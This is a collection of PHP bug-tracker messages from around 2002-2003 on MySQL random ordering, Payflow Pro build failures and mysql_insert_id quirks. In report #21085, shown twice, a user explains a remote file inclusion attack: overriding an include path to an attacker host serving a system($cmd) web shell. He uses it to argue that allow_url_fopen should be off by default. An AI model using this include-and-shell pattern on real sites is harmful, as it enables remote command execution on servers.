#22597 [Com]: PHP can't select random rows from MySql
ID: 22597 Comment by: szii at sziisoft dot com Reported By: grugli at mmedia dot is Status: Bogus Bug Type: MySQL related Operating System: Windows XP PHP Version: 4.3.1 New Comment: Reproduced on stock SuSE 8.2 with shipped Apache and using PHP as a module. server:/web/common # httpd -v Server version: Apache/1.3.27 (Linux/SuSE) Server built: Oct 29 2003 19:37:53 mysql SHOW VARIABLES LIKE '%version%'; +--++ | Variable_name| Value | +--++ | bdb_version | Sleepycat Software: Berkeley DB 3.2.9a: (January 23, 2003) | | protocol_version | 10 | | version | 3.23.55-Max-log | +--++ 3 rows in set (0.00 sec) The mysql client (command line) works fine. Previous Comments: [2003-07-29 10:57:18] justin at visunet dot ie When you say: This MySql-query doesn't seem to work. $Query = select * from $TableName ORDER BY RAND() LIMIT 1; The only thing that the query returns is the first row and nothing else. 1) Limit should be used like so .. LIMIT 0,1 2) In the above example LIMIT makes mySQL returns the first row and nothing else. [2003-04-29 05:06:55] mir at irczone dot dk I have this problem too, using PHP 4.3.0 on Mac OS X 10.2.5 and also on FreeBSD 4.7 with PHP 4.3.1 both running as a module in Apache 1.3.27 and talking with a MySQL 3.23.54 server. When using the mysql client on the commmandline, the RAND() works fine. It worked before, with the exact same code, unfortunately I don't know which version of PHP broke it - my guess would be PHP 4.3. Hope you can fix this ASAP. [2003-03-17 09:52:19] gaui at gaui dot is Ok, this problem persists here and is VERY annoying. Please fix this. [2003-03-12 21:12:37] genius at airmail dot net I made the previous comment too quickly, it appears to me that this indeed is a php (for win32 .. cause it tested on linux w/o problems) problem. when running mysql command line this command 'select * from pictures order by rand()' produces random results, however when calling that same command from php it always returns the same result. in my previous post i was running 'select * from pictures order by rand(now())' from the command line which returns the same result every time, which lead me to believe the bug was in mysql. someone please reopen this bug report [2003-03-12 20:45:54] genius at airmail dot net The bug is in mysql as I can reproduce it from the command-line. It also may be windows-specific ... this bug is often mistaken for not providing a random seed i.e. rand(now()) but the problem persists even with the seed. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/22597 -- Edit this bug report at http://bugs.php.net/?id=22597edit=1
#21085 [NEW]: allow_url_fopen is on be default.
From: [EMAIL PROTECTED] Operating system: ALL PHP version: 4.3.0RC3 PHP Bug Type: Unknown/Other Function Bug description: allow_url_fopen is on be default. PHP by default allows include() calls which contain URL/URI strings. register_globals=on include($somevar/file.php); // real site code exploit by overriding $somevar to http://badsite.evilcode.com where file.php is ?php system($cmd); ? This causes the real site to execute the $cmd command passed in on the URL/URI string. Requesting that allow_url_fopen be set to Off for future releases and a documentation note made about the caveat. -Mike -- Edit bug report at http://bugs.php.net/?id=21085edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=21085r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=21085r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=21085r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=21085r=needtrace Try newer version: http://bugs.php.net/fix.php?id=21085r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=21085r=support Expected behavior: http://bugs.php.net/fix.php?id=21085r=notwrong Not enough info:http://bugs.php.net/fix.php?id=21085r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=21085r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=21085r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=21085r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=21085r=dst IIS Stability: http://bugs.php.net/fix.php?id=21085r=isapi
#21085 [Bgs]: allow_url_fopen is on be default.
ID: 21085 User updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Bogus Bug Type: Unknown/Other Function Operating System: ALL PHP Version: 4.3.0RC3 New Comment: Agreed. However we live in a world where people aren't reading every single piece of every single package they install. Sure, anyone can shoot themselves in the foot. Sure, you can code poorly. But should this particular feature be on by default instead of turned on? If they turn it on, they know what they're doing. If they just drop the packages in...well, why make it easy to exploit? (Case in point - friend of mine who's not a total newbie got hacked this way.) IMHO, the default package should be as dummy proof as possible and able to be opened up from there. However, it's not up to me.. -Mike Previous Comments: [2002-12-18 15:41:09] [EMAIL PROTECTED] It's really up to the user to validate input from the outside. You can always shoot yourself in the foot if you want to. There is no valid reason to change this default. [2002-12-18 15:34:31] [EMAIL PROTECTED] PHP by default allows include() calls which contain URL/URI strings. register_globals=on include($somevar/file.php); // real site code exploit by overriding $somevar to http://badsite.evilcode.com where file.php is ?php system($cmd); ? This causes the real site to execute the $cmd command passed in on the URL/URI string. Requesting that allow_url_fopen be set to Off for future releases and a documentation note made about the caveat. -Mike -- Edit this bug report at http://bugs.php.net/?id=21085edit=1
#12662 [Com]: Payflow modules
ID: 12662 Comment by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: No Feedback Bug Type: Verisign Payflow Pro related Operating System: Linux 2.4.4 PHP Version: 4.0.6 New Comment: The following fails as well. It'll compile/link, but cannot execure pfpro_version, init, etc. ./configure --prefix=/home/crimeinc/third-party/php/current_install --enable-discard-path --with-config-file-path=/home/crimeinc --with-mysql --with-xml --with-pfpro=shared,/home/crimeinc/third-party/payflowpro/linux/lib Compiled as a cgi. Target environment is WAY the hell out of data (system image circa 1995) but they won't update it. Payflow lib was compiled for target glibc6+...possible incompatability in the export tables since the system has 5? The binary DOES execute, but ldd reports that it's linked to libc.so.6 libs. grr. Probably not a good idea to rely on it, but the only option at this point is to get off these crappy servers. Anyways... Compiler: gcc 2.7.2 Kernel: 2.2.20 glibc: Looks like 4.7.6, 5.4.17 AND 5.3.12 are all installed. (For reference, ISP is Hurricane Electric (he.net) and they suck arse.) Drop me an email and I'll run whatever tests ya want, within reason. :) -Mike Previous Comments: [2002-02-02 06:43:38] [EMAIL PROTECTED] No feedback was provided for this bug, so it is being suspended. If you are able to provide the information that was requested, please do so and change the status of the bug back to Open. [2002-01-11 17:10:54] [EMAIL PROTECTED] Can you - try this with 4.1.1 - provide some more information about the compile [2001-08-08 16:56:30] [EMAIL PROTECTED] Trying to get PayFlowPro going with mod_ssl according to the latest thinking on the forums. I put the PayFlowPro shared library and include in a directory as: ls -l /home/src/pfpro/lib total 676 -rw-r--r--1 brentusers 683104 Aug 8 15:13 libpfpro.so -rw-r--r--1 brentusers 514 Aug 8 15:13 pfpro.h I configure PHP 4.0.6: ./configure --with-pgsql \ --with-apache=../apache_1.3.20 \ --enable-track-vars \ --with-pfpro=shared,/home/src/pfpro/lib Then the apache 1.3.20+mod_ssl config: SSL_BASE=../openssl-0.9.6b ./configure \ --enable-module=ssl \ --prefix=/home/apache \ --activate-module=src/modules/php4/libphp4.a Everything configs, compiles and starts up nicely, but when I try to use the pfpro functions, I get: Fatal error: Call to undefined function: pfpro_version() in Further clues: in the PHP source directory, the stuff in the ext/pfpro is all nicely compiled into the pfpro.o, but when I go to the libs directory and do an ar t libphp4.a | grep pfpro, there is no pfpro.o in there. This makes me think it's a PHP build problem, not an apache problem. -- Edit this bug report at http://bugs.php.net/?id=12662edit=1
#12662 [Com]: Payflow modules
ID: 12662 Comment by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: No Feedback Bug Type: Verisign Payflow Pro related Operating System: Linux 2.4.4 PHP Version: 4.0.6 New Comment: Forgot php version. Oops. 4.2.2 -Mike Previous Comments: [2002-09-23 03:39:11] [EMAIL PROTECTED] The following fails as well. It'll compile/link, but cannot execure pfpro_version, init, etc. ./configure --prefix=/home/crimeinc/third-party/php/current_install --enable-discard-path --with-config-file-path=/home/crimeinc --with-mysql --with-xml --with-pfpro=shared,/home/crimeinc/third-party/payflowpro/linux/lib Compiled as a cgi. Target environment is WAY the hell out of data (system image circa 1995) but they won't update it. Payflow lib was compiled for target glibc6+...possible incompatability in the export tables since the system has 5? The binary DOES execute, but ldd reports that it's linked to libc.so.6 libs. grr. Probably not a good idea to rely on it, but the only option at this point is to get off these crappy servers. Anyways... Compiler: gcc 2.7.2 Kernel: 2.2.20 glibc: Looks like 4.7.6, 5.4.17 AND 5.3.12 are all installed. (For reference, ISP is Hurricane Electric (he.net) and they suck arse.) Drop me an email and I'll run whatever tests ya want, within reason. :) -Mike [2002-02-02 06:43:38] [EMAIL PROTECTED] No feedback was provided for this bug, so it is being suspended. If you are able to provide the information that was requested, please do so and change the status of the bug back to Open. [2002-01-11 17:10:54] [EMAIL PROTECTED] Can you - try this with 4.1.1 - provide some more information about the compile [2001-08-08 16:56:30] [EMAIL PROTECTED] Trying to get PayFlowPro going with mod_ssl according to the latest thinking on the forums. I put the PayFlowPro shared library and include in a directory as: ls -l /home/src/pfpro/lib total 676 -rw-r--r--1 brentusers 683104 Aug 8 15:13 libpfpro.so -rw-r--r--1 brentusers 514 Aug 8 15:13 pfpro.h I configure PHP 4.0.6: ./configure --with-pgsql \ --with-apache=../apache_1.3.20 \ --enable-track-vars \ --with-pfpro=shared,/home/src/pfpro/lib Then the apache 1.3.20+mod_ssl config: SSL_BASE=../openssl-0.9.6b ./configure \ --enable-module=ssl \ --prefix=/home/apache \ --activate-module=src/modules/php4/libphp4.a Everything configs, compiles and starts up nicely, but when I try to use the pfpro functions, I get: Fatal error: Call to undefined function: pfpro_version() in Further clues: in the PHP source directory, the stuff in the ext/pfpro is all nicely compiled into the pfpro.o, but when I go to the libs directory and do an ar t libphp4.a | grep pfpro, there is no pfpro.o in there. This makes me think it's a PHP build problem, not an apache problem. -- Edit this bug report at http://bugs.php.net/?id=12662edit=1
Bug #17049 Updated: mysql_insert_id not working
ID: 17049 Updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Feedback Bug Type: MySQL related Operating System: FreeBSD PHP Version: 4.1.2 New Comment: Also see Bug #17343. We pinned it down and general reasoning for why it's happening as well as a work around. -Szii Previous Comments: [2002-05-06 18:40:28] [EMAIL PROTECTED] To further clarify... I'm not sure what version I was running on my development server before 4.0.6. I do know I've been using version 4 for a long while but I do not recall specifically. sorry. [2002-05-06 18:37:38] [EMAIL PROTECTED] The server running 4.0.6 on linux is my development server . I upgraded that in response to the file upload security issue. The server running 4.1.2 is my production server and they do upgrades on their own timetable. They were previously running a version slighly older than 4.0.6. I have now included the db link as a parameter in all instances of mysql_insert_id and everything is back to working fine. [2002-05-06 16:19:54] [EMAIL PROTECTED] First you said, you have the problem with 4.1.2 (as stated in this report Version: field) and the same problem with 4.0.6 . So which version did worked for you and from which version did you upgrade to 4.1.2 where it broke? [2002-05-06 16:11:31] [EMAIL PROTECTED] Several scripts broke on two different servers when a php upgrade was made. The db query is an insert and the mysql_insert_id now requires a parameter to work properly whereas before it did not. [2002-05-06 16:03:46] [EMAIL PROTECTED] sorry. I meant mysql_insert_id The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/17049 -- Edit this bug report at http://bugs.php.net/?id=17049edit=1
Bug #17326: mysql_fetch_object() does not appear to like embedded variables anymore
From: [EMAIL PROTECTED] Operating system: Linux PHP version: 4.2.1 PHP Bug Type: Class/Object related Bug description: mysql_fetch_object() does not appear to like embedded variables anymore Load a string from a database which contains $var. Load the string back out via a query and mysql_fetch_object() call. var_dump the object. Note how the script silently terminates with no errors. -- Edit bug report at http://bugs.php.net/?id=17326edit=1 -- Fixed in CVS:http://bugs.php.net/fix.php?id=17326r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=17326r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=17326r=needtrace Try newer version: http://bugs.php.net/fix.php?id=17326r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=17326r=support Expected behavior: http://bugs.php.net/fix.php?id=17326r=notwrong Not enough info: http://bugs.php.net/fix.php?id=17326r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=17326r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=17326r=globals
Bug #17326 Updated: mysql_fetch_object() does not appear to like embedded variables anymore
ID: 17326 Updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Open Bug Type: Class/Object related Operating System: Linux PHP Version: 4.2.1 New Comment: I appeared to have a broken installation of PHP on the box and after many tests I recompiled/reinstalled the whole thing and it's working now. Please change to bogus or whatever shamefull things you do with reports like these. Previous Comments: [2002-05-20 21:39:41] [EMAIL PROTECTED] Load a string from a database which contains $var. Load the string back out via a query and mysql_fetch_object() call. var_dump the object. Note how the script silently terminates with no errors. -- Edit this bug report at http://bugs.php.net/?id=17326edit=1
